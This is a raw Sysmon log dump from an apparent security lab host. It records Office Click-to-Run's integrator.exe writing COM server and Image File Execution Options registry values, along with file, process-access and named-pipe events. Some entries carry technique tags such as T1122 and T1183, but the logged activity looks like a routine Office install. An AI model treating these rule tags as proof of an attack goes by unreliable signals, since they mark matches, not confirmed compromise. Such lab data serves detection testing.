Office\root\Office16\Interceptor.dll 13241300x800000000000000041459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9800F18F-3D86-4744-A7D0-540989C86D7B}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3B0BD075-929C-4E52-AAD1-458C81A10B24}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9ED13477-E909-45BC-BADC-2106D04D6BD7}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{BDEADEF5-C265-11D0-BCED-00A0C90AB50F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{BDEADE9E-C265-11D0-BCED-00A0C90AB50F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3FD37ABB-F90A-4DE5-AA38-179629E64C2F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{62B4D041-4667-40B6-BB50-4BC0A5043A73}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9203C2CB-1DC1-482D-967E-597AFF270F0D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{D0B22D03-D05D-4C6D-8AB7-9392E84A87B9}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{D5EC4D34-77DA-4F7A-B8C4-8A910C1C1CFE}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{805B7F91-C9CF-4EDF-ACA6-775664FDFB3E}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{97A2762C-403C-4953-A121-7A75ABCE4373}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{8D4F994C-EBBE-4F8D-BA4B-AE20CD36E72D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{A1EB89D6-0A9C-4575-A0AE-654A990A454C}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{367E582C-F71C-4BF9-AA1B-9F62B793E9C5}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{6F3DD387-5AF2-492B-BDE2-30FF2F451241}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{CD7791B9-43FD-42C5-AE42-8DD2811F0419}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEDAO.DLL 13241300x800000000000000041442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3BE786A2-0366-4F5C-9434-25CF162E475F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEOLEDB.DLL 13241300x800000000000000041441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.612{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3BE786A2-0366-4F5C-9434-25CF162E475E}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEOLEDB.DLL 13241300x800000000000000041440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3BE786A0-0366-4F5C-9434-25CF162E475F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEOLEDB.DLL 13241300x800000000000000041439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3BE786A0-0366-4F5C-9434-25CF162E475E}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\ACEOLEDB.DLL 13241300x800000000000000041438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.596{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 10341000x800000000000000041429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.581{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A608-00000000F001}6692C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.581{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000041427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{E2F5480E-ED5A-4DDE-B8A8-F9F297479F62}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4693FF15-B962-420A-9E5D-176F7D4B8321}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9FBC2D8F-6F52-4CFA-A86F-096F3E9EB4B2}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{20E823C2-62F3-4638-96BD-90F4F6784EBC}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{312AB530-ECC9-496E-AE0E-C9E6C5392499}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{F90DFE0C-CBDF-41FF-8598-EDD8F222A2C8}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{DDFE337F-4987-4EC8-BDE3-133FA63D5D85}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5A98B233-3C59-4B31-944C-0E560D85E6C3}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4039B326-9F27-4B4A-B460-47A0C6A39D5C}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\MSGFILT.DLL 13241300x800000000000000041418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\Applications\WINWORD.EXE\shell\edit\command\(Default)"C:\Program Files\Microsoft Office\root\Office16\Winword.exe" /n "%%1" 13241300x800000000000000041417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 10341000x800000000000000041416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.565{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A608-00000000F001}6692C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.565{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-A608-00000000F001}6692C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.565{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.WINWORD.16.1033.hxnMD5=1B87E6AD12C8C996939263D1AB820913,SHA256=CFA88E9AF5A9B1C203AB3E633C3FFD2C4D5248F3626CBA8F45BC0D461AE465A7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.549{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exeMD5=7EC509A8AA2AD49F566BC1E7AE140821,SHA256=1599118D776F20371463482A34C4AC55B9E7033FB3365799AD26781240F51E1A,IMPHASH=8874547EA199A3C293B5E53D59D51916falsefalse - rename failed with status 0xc0000022 18141800x800000000000000041411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.534{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.518{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A508-00000000F001}2328C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.518{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.502{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A508-00000000F001}2328C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.502{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-A508-00000000F001}2328C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000041406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.456{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A408-00000000F001}5668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.456{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 